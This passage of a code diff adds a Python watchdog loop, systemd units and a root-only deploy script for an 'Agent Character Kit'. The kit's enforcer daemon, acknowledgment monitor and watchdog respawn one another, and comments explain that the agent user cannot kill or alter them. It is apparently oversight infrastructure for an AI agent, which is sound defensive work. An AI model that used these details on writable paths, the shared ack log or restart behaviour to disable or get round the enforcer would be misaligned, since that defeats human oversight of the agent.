except Exception as exc:
|
|
99
|
+
log.warning("could not write pidfile %s: %s", WATCHDOG_PID, exc)
|
|
100
|
+
log.info("watchdog started (interval=%ss) — monitoring monitor + enforcer", INTERVAL)
|
|
101
|
+
while True:
|
|
102
|
+
if not monitor_alive():
|
|
103
|
+
revive_monitor()
|
|
104
|
+
if not enforcer_alive():
|
|
105
|
+
revive_enforcer()
|
|
106
|
+
time.sleep(INTERVAL)
|
|
107
|
+
|
|
108
|
+
|
|
109
|
+
if __name__ == "__main__":
|
|
110
|
+
main()
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
[Unit]
|
|
2
|
+
Description=ACK Acknowledgment Monitor (root-owned)
|
|
3
|
+
After=agent-enforcer.service
|
|
4
|
+
Requires=agent-enforcer.service
|
|
5
|
+
|
|
6
|
+
[Service]
|
|
7
|
+
Type=simple
|
|
8
|
+
ExecStart=/usr/bin/python3 /usr/local/lib/agent-character-kit/ack_monitor.py
|
|
9
|
+
Restart=always
|
|
10
|
+
RestartSec=3
|
|
11
|
+
User=root
|
|
12
|
+
StandardOutput=journal
|
|
13
|
+
StandardError=journal
|
|
14
|
+
Environment=ENFORCER_SOCKET=/run/agent-enforcer/main.sock
|
|
15
|
+
Environment=AGENT_WORKSPACE=/var/lib/agent-character-kit/workspace
|
|
16
|
+
Environment=ACK_ACK_LOG=/tmp/agent-character-kit-ack.jsonl
|
|
17
|
+
Environment=ACK_MONITOR_PID=/var/lib/agent-character-kit/ack-monitor.pid
|
|
18
|
+
Environment=ACK_MONITOR_STATE=/var/lib/agent-character-kit/ack-monitor.pos
|
|
19
|
+
|
|
20
|
+
[Install]
|
|
21
|
+
WantedBy=multi-user.target
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
[Unit]
|
|
2
|
+
Description=ACK Monitor Watchdog (root-owned)
|
|
3
|
+
After=agent-character-monitor.service agent-enforcer.service
|
|
4
|
+
Requires=agent-character-monitor.service agent-enforcer.service
|
|
5
|
+
|
|
6
|
+
[Service]
|
|
7
|
+
Type=simple
|
|
8
|
+
ExecStart=/usr/bin/python3 /usr/local/lib/agent-character-kit/ack_watchdog.py
|
|
9
|
+
Restart=always
|
|
10
|
+
RestartSec=3
|
|
11
|
+
User=root
|
|
12
|
+
StandardOutput=journal
|
|
13
|
+
StandardError=journal
|
|
14
|
+
Environment=ENFORCER_SOCKET=/run/agent-enforcer/main.sock
|
|
15
|
+
Environment=AGENT_WORKSPACE=/var/lib/agent-character-kit/workspace
|
|
16
|
+
Environment=ACK_MONITOR_PID=/var/lib/agent-character-kit/ack-monitor.pid
|
|
17
|
+
Environment=ACK_WATCHDOG_PID=/var/lib/agent-character-kit/ack-watchdog.pid
|
|
18
|
+
Environment=ACK_MONITOR_BIN=/usr/local/lib/agent-character-kit/ack_monitor.py
|
|
19
|
+
|
|
20
|
+
[Install]
|
|
21
|
+
WantedBy=multi-user.target
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
[Unit]
|
|
2
|
+
Description=AIK Enforcer self-respawn PROOF (user-systemd)
|
|
3
|
+
After=network.target
|
|
4
|
+
StartLimitIntervalSec=60
|
|
5
|
+
StartLimitBurst=10
|
|
6
|
+
|
|
7
|
+
# NOTE: set ACK_DAEMON_BIN to the absolute path of the daemon binary before
|
|
8
|
+
# starting this unit (e.g. ACK_DAEMON_BIN=$PWD/node/enforcer/agent_enforcer_daemon.js).
|
|
9
|
+
# No hardcoded path is embedded — the unit is portable across hosts.
|
|
10
|
+
|
|
11
|
+
[Service]
|
|
12
|
+
Type=simple
|
|
13
|
+
ExecStart=/usr/bin/env ENFORCER_SOCKET=%t/agent-enforcer/main.sock AGENT_WORKSPACE=%t/agent-enforcer/ws /usr/bin/node ${ACK_DAEMON_BIN}
|
|
14
|
+
Restart=always
|
|
15
|
+
RestartSec=3
|
|
16
|
+
|
|
17
|
+
[Install]
|
|
18
|
+
WantedBy=default.target
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
[Unit]
|
|
2
|
+
Description=Agent Character Kit Enforcer Daemon (root-owned)
|
|
3
|
+
Documentation=file:///usr/local/lib/agent-character-kit/README.md
|
|
4
|
+
|
|
5
|
+
# System-owned enforcement. Runs as root so the agent user cannot kill,
|
|
6
|
+
# modify, or replace it. Self-respawning via RestartSec=3.
|
|
7
|
+
After=network.target local-fs.target
|
|
8
|
+
|
|
9
|
+
# Crash-loop guard: if it dies 10x in 60s, stop rather than spin.
|
|
10
|
+
StartLimitIntervalSec=60
|
|
11
|
+
StartLimitBurst=10
|
|
12
|
+
|
|
13
|
+
[Service]
|
|
14
|
+
Type=simple
|
|
15
|
+
# Owning user is the SYSTEM, not the agent. The agent (e.g. uid 1000) cannot
|
|
16
|
+
# `kill` this process or write to its binary/config without privilege escalation.
|
|
17
|
+
User=root
|
|
18
|
+
Group=root
|
|
19
|
+
|
|
20
|
+
# The daemon binary. Immutable at runtime (root-owned, mode 0755, agent read-only).
|
|
21
|
+
ExecStart=/usr/local/bin/agent-enforcer-daemon
|
|
22
|
+
|
|
23
|
+
# ── Self-healing ───────────────────────────────────────────────────────────────
|
|
24
|
+
# If the process exits for ANY reason (crash, OOM, killed), systemd restarts it
|
|
25
|
+
# within 3 seconds. This is the "self-respawning if closed within ~3-5 sec" guarantee.
|
|
26
|
+
Restart=always
|
|
27
|
+
RestartSec=3
|
|
28
|
+
|
|
29
|
+
# Hardened: the enforcer does not need broad privileges beyond what it uses.
|
|
30
|
+
NoNewPrivileges=true
|
|
31
|
+
ProtectSystem=strict
|
|
32
|
+
# /run/agent-enforcer holds the socket (root-owned). /var/lib holds workspace + logs.
|
|
33
|
+
ReadWritePaths=/run/agent-enforcer /var/lib/agent-character-kit /var/log/agent-character-kit
|
|
34
|
+
PrivateTmp=true
|
|
35
|
+
|
|
36
|
+
# ── Configuration (overridable via `systemctl edit` or env at deploy time) ────────
|
|
37
|
+
# Defaults are sensible fallbacks; override with ACK_INSTALL_* env vars when running deploy.
|
|
38
|
+
Environment=ENFORCER_SOCKET=/run/agent-enforcer/main.sock
|
|
39
|
+
Environment=AGENT_WORKSPACE=/var/lib/agent-character-kit/workspace
|
|
40
|
+
Environment=HOME=/root
|
|
41
|
+
Environment=NODE_ENV=production
|
|
42
|
+
|
|
43
|
+
WorkingDirectory=/usr/local/lib/agent-character-kit
|
|
44
|
+
StandardOutput=journal
|
|
45
|
+
StandardError=journal
|
|
46
|
+
SyslogIdentifier=agent-enforcer
|
|
47
|
+
|
|
48
|
+
# A clean shutdown is handled (SIGTERM). Killing it just triggers RestartSec.
|
|
49
|
+
KillSignal=SIGTERM
|
|
50
|
+
TimeoutStopSec=10
|
|
51
|
+
|
|
52
|
+
[Install]
|
|
53
|
+
WantedBy=multi-user.target
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
#!/usr/bin/env bash
|
|
2
|
+
#
|
|
3
|
+
# deploy-ack-services.sh — install the ACK acknowledgment monitor + watchdog
|
|
4
|
+
# as root-owned systemd services (self-healing hold pipeline).
|
|
5
|
+
#
|
|
6
|
+
# Run AS ROOT after the enforcer daemon is already deployed:
|
|
7
|
+
# sudo bash deploy/deploy-ack-services.sh
|
|
8
|
+
#
|
|
9
|
+
# Prereqs:
|
|
10
|
+
# - agent-enforcer.service is live (deploy-agent-enforcer.sh already run).
|
|
11
|
+
# - The daemon has the toolTick/submitAck RPCs (repo node/ is current).
|
|
12
|
+
#
|
|
13
|
+
# What it does:
|
|
14
|
+
# 1. Copies ack_monitor.py + ack_watchdog.py to /usr/local/lib/agent-character-kit (root-owned).
|
|
15
|
+
# 2. Installs the two systemd units.
|
|
16
|
+
# 3. Enables + starts both (Restart=always -> self-healing).
|
|
17
|
+
#
|
|
18
|
+
# Shared state:
|
|
19
|
+
# - ack log: /tmp/agent-character-kit-ack.jsonl (agent writes, monitor reads+validates)
|
|
20
|
+
# - socket: /run/agent-enforcer/main.sock (root-owned daemon)
|
|
21
|
+
set -euo pipefail
|
|
22
|
+
|
|
23
|
+
SRC_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
|
24
|
+
INSTALL_LIB="/usr/local/lib/agent-character-kit"
|
|
25
|
+
MON_BIN="$INSTALL_LIB/ack_monitor.py"
|
|
26
|
+
WATCH_BIN="$INSTALL_LIB/ack_watchdog.py"
|
|
27
|
+
|
|
28
|
+
[ "$(id -u)" -eq 0 ] || { echo "ERROR: run as root (sudo bash $0)"; exit 1; }
|
|
29
|
+
|
|
30
|
+
echo ">> Installing ACK monitor + watchdog (root-owned, self-healing)..."
|
|
31
|
+
|
|
32
|
+
install -d -o root -g root -m 0755 "$INSTALL_LIB"
|
|
33
|
+
install -o root -g root -m 0644 "$SRC_DIR/deploy/ack_monitor.py" "$MON_BIN"
|
|
34
|
+
install -o root -g root -m 0644 "$SRC_DIR/deploy/ack_watchdog.py" "$WATCH_BIN"
|
|
35
|
+
install -o root -g root -m 0644 "$SRC_DIR/deploy/agent-character-monitor.service" /etc/systemd/system/agent-character-monitor.service
|
|
36
|
+
install -o root -g root -m 0644 "$SRC_DIR/deploy/agent-character-watchdog.service" /etc/systemd/system/agent-character-watchdog.service
|
|
37
|
+
|
|
38
|
+
systemctl daemon-reload
|
|
39
|
+
systemctl enable --now agent-character-monitor.service
|
|
40
|
+
systemctl enable --now agent-character-watchdog.service
|
|
41
|
+
|
|
42
|
+
echo ">> Done. Status:"
|
|
43
|
+
systemctl status agent-character-monitor.service --no-pager || true
|
|
44
|
+
systemctl status agent-character-watchdog.service --no-pager || true
|
|
45
|
+
echo
|
|
46
|
+
echo "Verify self-heal: sudo systemctl kill -s KILL agent-character-monitor.service"
|
|
47
|
+
echo " -> agent-character-watchdog should restart it within ~5s"
|